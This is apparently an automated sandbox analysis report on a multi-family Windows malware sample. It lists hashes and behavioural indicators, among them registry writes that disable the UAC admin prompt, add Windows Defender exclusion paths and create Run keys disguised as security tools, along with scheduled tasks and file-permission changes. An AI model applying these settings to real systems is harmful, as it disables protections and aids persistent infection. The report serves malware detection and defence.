482732baaecd40c5c638a896294dec9dbb67be99a76276805d3b5ec02b39bd60

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
21/10/2026, 23:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Size 30.6MB
Sample261021-3dkjmsgf69
SHA256 482732baaecd40c5c638a896294dec9dbb67be99a76276805d3b5ec02b39bd60
MD5 a2593843148873389b2b04928b14b185
SHA1 6693228bceef478460882ed2a2b59cd38b3a8cb7
SHA512 35160827b1682fa7d77870f1ec451a283ac6a4acddea43bbbc47f8a919b93f99a0870102e071806e1c347d222f9600c150c1f2d9f88d43227e21b59d029a0095
SSDEEP 98304:xrLI1rjAD8ntZ9QdFERG30oAmx6bR8v4P7A/OFyVK6nAwTYkrhRqlNvREqE6rn0N:QAqZ9gii0NMSEGSp
TLSH
T1AC673E12B6058CCAF066A274848B4FE0E325DDB089B0977723B5775D2FFE34C8EA6165
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	zbT5Ep.exe

Windows security bypass 2 TTPs 14 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\zbT5Ep = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\RjxV5b = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/2456-688-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 8 IoCs

resource	yara_rule
behavioral1/memory/2456-676-0x0000000003650000-0x0000000003E2D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2456-673-0x0000000003650000-0x0000000003E2D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2456-684-0x0000000003650000-0x0000000003E2D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2456-710-0x0000000003650000-0x0000000003E2D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2204-727-0x00000000031F0000-0x00000000039CD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2456-731-0x0000000003650000-0x0000000003E2D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4932-784-0x0000000003910000-0x00000000040ED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/5104-780-0x0000000002EA0000-0x000000000367D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4276	powershell.exe
3700	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	zbT5Ep.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
2164	icacls.exe
4044	icacls.exe
3512	icacls.exe
4864	icacls.exe
840	icacls.exe
2000	icacls.exe
4188	icacls.exe
2172	icacls.exe
2152	icacls.exe
552	icacls.exe
4296	icacls.exe
2916	icacls.exe
4348	takeown.exe
4324	icacls.exe
1836	icacls.exe
4248	icacls.exe
4328	icacls.exe
3032	icacls.exe
1552	icacls.exe
4956	icacls.exe
3324	icacls.exe
2464	takeown.exe
4408	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\International\Geo\Nation	ObgUmz.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\International\Geo\Nation	zbT5Ep.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 7 IoCs

pid	Process
4652	ObgUmz.exe
2732	ObgUmz.exe
2456	zbT5Ep.exe
3896	zbT5Ep.exe
2204	e2Mtl1CZX.exe
5104	zbT5Ep.exe
4932	e2Mtl1CZX.exe

Loads dropped DLL 6 IoCs

pid	Process
4652	ObgUmz.exe
2732	ObgUmz.exe
2456	zbT5Ep.exe
2204	e2Mtl1CZX.exe
5104	zbT5Ep.exe
4932	e2Mtl1CZX.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2464	takeown.exe
3032	icacls.exe
4956	icacls.exe
4296	icacls.exe
2152	icacls.exe
2164	icacls.exe
552	icacls.exe
2000	icacls.exe
4248	icacls.exe
840	icacls.exe
4324	icacls.exe
1552	icacls.exe
1836	icacls.exe
2916	icacls.exe
4408	icacls.exe
4348	takeown.exe
4328	icacls.exe
2172	icacls.exe
4044	icacls.exe
4864	icacls.exe
3512	icacls.exe
3324	icacls.exe
4188	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\zbT5Ep\\zbT5Ep.exe\""	zbT5Ep.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\RjxV5b\\ObgUmz.exe\""	ObgUmz.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4308	cmd.exe
1568	cmd.exe
2100	cmd.exe
3368	cmd.exe
1284	cmd.exe
4112	cmd.exe
4100	cmd.exe
4416	cmd.exe
1412	cmd.exe
1848	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	ObgUmz.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe	ObgUmz.exe
File created	C:\Program Files (x86)\zbT5Ep\thumbs.db	ObgUmz.exe
File opened for modification	C:\Program Files (x86)\zbT5Ep\image.png	ObgUmz.exe
File opened for modification	C:\Program Files (x86)\Z2S7XE38	zbT5Ep.exe
File opened for modification	C:\Program Files (x86)\Z2S7XE38\image.png	zbT5Ep.exe
File created	C:\Program Files (x86)\Z2S7XE38\thumbs.db	zbT5Ep.exe
File opened for modification	C:\Program Files (x86)\Z2S7XE38\thumbs.db	zbT5Ep.exe
File created	C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll	ObgUmz.exe
File opened for modification	C:\Program Files (x86)\zbT5Ep\thumbs.db	ObgUmz.exe
File created	C:\Program Files (x86)\Z2S7XE38\image.png	zbT5Ep.exe
File opened for modification	C:\Program Files (x86)\Z2S7XE38\XPSPLOG.dll	zbT5Ep.exe
File created	C:\Program Files (x86)\Z2S7XE38\e2Mtl1CZX.exe	zbT5Ep.exe
File opened for modification	C:\Program Files (x86)\zbT5Ep	ObgUmz.exe
File created	C:\Program Files (x86)\Z2S7XE38\XPSPLOG.dll	zbT5Ep.exe
File created	C:\Program Files (x86)\zbT5Ep\image.png	ObgUmz.exe
File opened for modification	C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe	ObgUmz.exe
File opened for modification	C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll	ObgUmz.exe
File opened for modification	C:\Program Files (x86)\Z2S7XE38\e2Mtl1CZX.exe	zbT5Ep.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3880	sc.exe
4144	sc.exe
1600	sc.exe
628	sc.exe
2584	sc.exe
2428	sc.exe
3448	sc.exe
4124	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaveActive = "0"	zbT5Ep.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	zbT5Ep.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\SCRNSAVE.EXE	zbT5Ep.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3652	cmd.exe
1648	cmd.exe
4744	cmd.exe
3736	cmd.exe
1072	cmd.exe
3308	cmd.exe
3040	cmd.exe
4260	cmd.exe
1380	cmd.exe
2544	cmd.exe
4476	cmd.exe
3220	cmd.exe
3632	cmd.exe
636	cmd.exe
3596	cmd.exe
3160	cmd.exe
4556	cmd.exe
4548	cmd.exe
4792	cmd.exe
1008	cmd.exe
1132	cmd.exe
4768	cmd.exe
4676	cmd.exe
3784	cmd.exe
4292	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ObgUmz.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ObgUmz.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	zbT5Ep.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	zbT5Ep.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zbT5Ep.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e2Mtl1CZX.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e2Mtl1CZX.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zbT5Ep.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\SCRNSAVE.EXE	zbT5Ep.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaveActive = "0"	zbT5Ep.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	zbT5Ep.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	zbT5Ep.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1284	schtasks.exe
2444	schtasks.exe
4276	schtasks.exe
4708	schtasks.exe
3808	schtasks.exe
3092	schtasks.exe
1656	schtasks.exe
1996	schtasks.exe
1060	schtasks.exe
1756	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
3400	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe
4652	ObgUmz.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeTakeOwnershipPrivilege	2464	takeown.exe
Token: SeRestorePrivilege	4248	icacls.exe
Token: SeTakeOwnershipPrivilege	4348	takeown.exe
Token: SeRestorePrivilege	2164	icacls.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeIncreaseQuotaPrivilege	4276	powershell.exe
Token: SeSecurityPrivilege	4276	powershell.exe
Token: SeTakeOwnershipPrivilege	4276	powershell.exe
Token: SeLoadDriverPrivilege	4276	powershell.exe
Token: SeSystemProfilePrivilege	4276	powershell.exe
Token: SeSystemtimePrivilege	4276	powershell.exe
Token: SeProfSingleProcessPrivilege	4276	powershell.exe
Token: SeIncBasePriorityPrivilege	4276	powershell.exe
Token: SeCreatePagefilePrivilege	4276	powershell.exe
Token: SeBackupPrivilege	4276	powershell.exe
Token: SeRestorePrivilege	4276	powershell.exe
Token: SeShutdownPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeSystemEnvironmentPrivilege	4276	powershell.exe
Token: SeRemoteShutdownPrivilege	4276	powershell.exe
Token: SeUndockPrivilege	4276	powershell.exe
Token: SeManageVolumePrivilege	4276	powershell.exe
Token: 33	4276	powershell.exe
Token: 34	4276	powershell.exe
Token: 35	4276	powershell.exe
Token: 36	4276	powershell.exe
Token: SeIncreaseQuotaPrivilege	4276	powershell.exe
Token: SeSecurityPrivilege	4276	powershell.exe
Token: SeTakeOwnershipPrivilege	4276	powershell.exe
Token: SeLoadDriverPrivilege	4276	powershell.exe
Token: SeSystemProfilePrivilege	4276	powershell.exe
Token: SeSystemtimePrivilege	4276	powershell.exe
Token: SeProfSingleProcessPrivilege	4276	powershell.exe
Token: SeIncBasePriorityPrivilege	4276	powershell.exe
Token: SeCreatePagefilePrivilege	4276	powershell.exe
Token: SeBackupPrivilege	4276	powershell.exe
Token: SeRestorePrivilege	4276	powershell.exe
Token: SeShutdownPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeSystemEnvironmentPrivilege	4276	powershell.exe
Token: SeRemoteShutdownPrivilege	4276	powershell.exe
Token: SeUndockPrivilege	4276	powershell.exe
Token: SeManageVolumePrivilege	4276	powershell.exe
Token: 33	4276	powershell.exe
Token: 34	4276	powershell.exe
Token: 35	4276	powershell.exe
Token: 36	4276	powershell.exe
Token: SeIncreaseQuotaPrivilege	4276	powershell.exe
Token: SeSecurityPrivilege	4276	powershell.exe
Token: SeTakeOwnershipPrivilege	4276	powershell.exe
Token: SeLoadDriverPrivilege	4276	powershell.exe
Token: SeSystemProfilePrivilege	4276	powershell.exe
Token: SeSystemtimePrivilege	4276	powershell.exe
Token: SeProfSingleProcessPrivilege	4276	powershell.exe
Token: SeIncBasePriorityPrivilege	4276	powershell.exe
Token: SeCreatePagefilePrivilege	4276	powershell.exe
Token: SeBackupPrivilege	4276	powershell.exe
Token: SeRestorePrivilege	4276	powershell.exe
Token: SeShutdownPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeSystemEnvironmentPrivilege	4276	powershell.exe
Token: SeRemoteShutdownPrivilege	4276	powershell.exe
Token: SeUndockPrivilege	4276	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4652 wrote to memory of 4112	4652	ObgUmz.exe	96
PID 4652 wrote to memory of 4100	4652	ObgUmz.exe	98
PID 4112 wrote to memory of 3808	4112	cmd.exe	101
PID 4100 wrote to memory of 1756	4100	cmd.exe	102
PID 4100 wrote to memory of 512	4100	cmd.exe	104
PID 4112 wrote to memory of 2708	4112	cmd.exe	106
PID 4100 wrote to memory of 1372	4100	cmd.exe	107
PID 4652 wrote to memory of 4416	4652	ObgUmz.exe	110
PID 4112 wrote to memory of 3660	4112	cmd.exe	112
PID 4416 wrote to memory of 3092	4416	cmd.exe	113
PID 4416 wrote to memory of 2884	4416	cmd.exe	114
PID 3652 wrote to memory of 1788	3652	cmd.exe	115
PID 4416 wrote to memory of 2780	4416	cmd.exe	117
PID 4652 wrote to memory of 2100	4652	ObgUmz.exe	119
PID 4652 wrote to memory of 1412	4652	ObgUmz.exe	121
PID 2100 wrote to memory of 1284	2100	cmd.exe	123
PID 2100 wrote to memory of 1056	2100	cmd.exe	124
PID 1412 wrote to memory of 2444	1412	cmd.exe	125
PID 2100 wrote to memory of 3384	2100	cmd.exe	127
PID 1412 wrote to memory of 4048	1412	cmd.exe	128
